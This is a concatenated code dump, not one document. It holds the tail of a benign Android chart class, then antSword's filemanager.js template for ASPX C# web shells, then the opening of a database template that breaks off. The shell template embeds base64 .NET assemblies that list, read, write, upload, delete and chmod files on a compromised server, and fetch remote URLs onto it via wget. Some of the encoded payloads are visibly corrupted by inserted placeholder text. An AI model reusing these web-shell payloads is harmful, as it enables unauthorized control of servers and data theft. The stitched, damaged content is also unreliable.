* @param enabled the y axis automatically adjusts to the min and max y
* values of the current x axis range whenever the viewport
* changes
*/
public void setAutoScaleMinMaxEnabled(boolean enabled) {
mAutoScaleMinMaxEnabled = enabled;
}
/**
* @return true if auto scaling on the y axis is enabled.
* @default false
*/
public boolean isAutoScaleMinMaxEnabled() {
return mAutoScaleMinMaxEnabled;
}
@Override
public void setPaint(Paint p, int which) {
super.setPaint(p, which);
switch (which) {
case PAINT_GRID_BACKGROUND:
mGridBackgroundPaint = p;
break;
}
}
@Override
public Paint getPaint(int which) {
Paint p = super.getPaint(which);
if (p != null)
return p;
switch (which) {
case PAINT_GRID_BACKGROUND:
return mGridBackgroundPaint;
}
return null;
}
@Override
protected void onSizeChanged(int w, int h, int oldw, int oldh) {
// Saving current position of chart.
float[] pts = new float[2];
if (mKeepPositionOnRotation) {
pts[0] = mViewPortHandler.contentLeft();
pts[1] = mViewPortHandler.contentTop();
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
}
//Superclass transforms chart.
super.onSizeChanged(w, h, oldw, oldh);
if (mKeepPositionOnRotation) {
//Restoring old position of chart.
getTransformer(AxisDependency.LEFT).pointValuesToPixel(pts);
mViewPortHandler.centerViewPort(pts, this);
} else {
mViewPortHandler.refresh(mViewPortHandler.getMatrixTouch(), this, true);
}
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/BarLineChartBase.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 11,343 |
```javascript
//
//
//
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+3CGIAAAAAAAAAAOAAAiELAQgAAA4AAAAGAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBCADcACgBWADcABgDrAMsABgALAcsADgBYATkBBgB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAuUAOQD4AuoAqQANA/AAoQAZA/YAqQAqA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgAZQB4AAAAAACq+d0F1oRrR7bCYt6MxNdGAAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==',
'path': '#{newbase64::path}'
},
delete: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHVUlEAAAAkAYAACABAAAjQmxvYgAAAAAAAAACAAABVxUCCAkAAAAA+your_sha256_hashyour_sha256_hashGABQQEGAIYBLwAGAJQBLwAGALABLwAKAMkBPQAGAAkC/wEGACEC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashwAAAAEAMQEAAAEAMQEAAAEA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQCBAMsCzwCJANwC1QCJAOYC4wCBAO8C6QAJAM0ALQAuAAsA9gAuABMA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAtAAEJcABhAHQAaAAAE0UAUgBSAE8AUgA6AC8ALwAgAAADMQAAB2gAZQB4AAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}'
},
create_file: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAYAAAABAAAAAQAAAAMAAAAAAAoAAQAAAAAABgA+ADcACgBQAEUACgBkAEUABgD/AN8ABgAfAd8ADgBsAU0BBgCSATcABgCgATcABgC8ATcACgDVAUUABgAfAhMCBgA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashATwAaQBWAjMAcQDZADMAOQBuApkAeQCgAp8AiQCuAqYAiQC1AqsAcQC+your_sha256_hashAuQAiQAEA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashNvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}',
'content': '#{newbase64::content}'
},
read_file: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHVUlEAAAAnAYAABgBAAAjQmxvYgAAAAAAAAACAAABVxUCCAkAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEABgBYABMABgBtABcABgB2ABsABgB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPcC3ACJAAAD4gAJANMALQAuAAsA7wAuABMA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashaW9uVGhyb3dzAQAgKwAAAAAAAAAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAVAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}'
},
copy: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAERYKAnsGAAAEKB4AAAoKAwZvHwAAChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAA6AIAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLgAFAOQiAAAAAIYAtwAuAAYAiCMAAAAAhgC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashADkAkgLfADkA+your_sha256_hashwAgAVcAfACiANQA/your_sha256_hashyour_sha256_hashGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashh7U7AAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==',
'path': '#{newbase64::path}',
'target': '#{newbase64::target}'
},
download_file: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswBAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGgAAChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAsAIAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash4wK/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCLd6XFYZNOCJCLA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAICsAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}'
},
upload_file: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAMAAAAAAAoAAQAAAAAABgA+ADcACgBQAEUACgBkAEUABgD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAt8AmQABA+UAmQALA/MAYQAUA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashY0U3RyaW5nAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}',
'content': '#{newb64buffer::content}'
},
rename: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEAMQEAAAEA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQCJAMgCxwCBANQCzQCJAOUC0wCJAO8C4QCBAPgC5wAJAM0AMwAuAAsA9AAuABMA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}',
'name': '#{newbase64::name}'
},
retime: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEAMQEAAAEAMQEAAAEA+gEAAAIA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQBZADQD8wAJAM0AMwAuAAsAAAEuABMACQFXAHwAlwC9AOUA+your_sha256_hashyour_sha256_hashGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZTY0U3RyaW5nAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashACAAAAMxAAAHaABlAHgAAAAAAHnqq0tnaUVAuYFE3JyEgDwACLd6XFYZNOCJCLA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==',
'path': '#{newbase64::path}',
'time': '#{newbase64::time}'
},
chmod: {
_: '###Chmod###',
'path': '#{newbase64::path}',
'mode': '#{newbase64::mode}',
},
mkdir: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hash9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAA+your_sha256_hashyour_sha256_hashF0BPgEGAIMBLQAGAJEBLQAGAK0BLQAKAMYBOwAGAAYC/AEGABAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashABlAHgAAADStEkZ6oZ0TbVkny9xEhDTAAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbkV4Y2VwdGlvblRocm93cwHkKgAAAAAAAAAAAAD+your_sha256_hashTWFpbgBtc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'path': '#{newbase64::path}'
},
wget: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAERYKAnsGAAAEKCIAAAoKAwZvIwAAChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAIAMAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashjgErAAYAqgErAAoAwwE5AA4A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashwBkIgAAAACGAKcALgAFALQiAAAAAIYAtwAuAAYAWCMAAAAAhgC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbmcAAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashcGNNmpqt6fHDLF4ACLd6XFYZNOCJCLA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTWFpbgBtc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==',
'url': '#{newbase64::url}',
'path': '#{newbase64::path}'
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
``` | /content/code_sandbox/source/core/aspxcsharp/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,945 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = () => ({
show_databases: {
